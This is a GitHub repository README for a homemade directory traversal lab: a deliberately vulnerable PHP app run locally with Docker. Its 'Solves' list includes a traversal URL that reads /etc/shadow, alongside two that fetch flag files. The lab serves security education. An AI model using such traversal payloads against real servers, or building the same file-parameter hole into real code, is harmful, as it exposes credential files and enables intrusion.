Skip to content

KasperTonsgaard/dirtrav

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Homemade Directory Traversal

This project demonstrates a simple directory traversal vulnerability.

Description

Directory traversal is a type of security vulnerability that allows an attacker to access files and directories that are stored outside the web root folder. This project showcases how such vulnerabilities can be exploited and provides examples for educational purposes.

Features

  • Demonstrates directory traversal attack
  • Provides examples of vulnerable code
  • Educational purposes only

Installation

  1. Clone the repository:
git clone https://github.com/yourusername/homemade-dirtrav.git
  1. Navigate to the project directory:
cd homemade-dirtrav

Usage

Run the vulnerable application:

docker-compose up --build

access the application at port 6969

Solves

  1. http://localhost:6969/viewer.php?file=flag

  2. http://localhost:6969/viewer.php?file=flag2.secret%20a

  3. http://localhost:6969/viewer.php?file=../../../../etc/shadow%20a

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors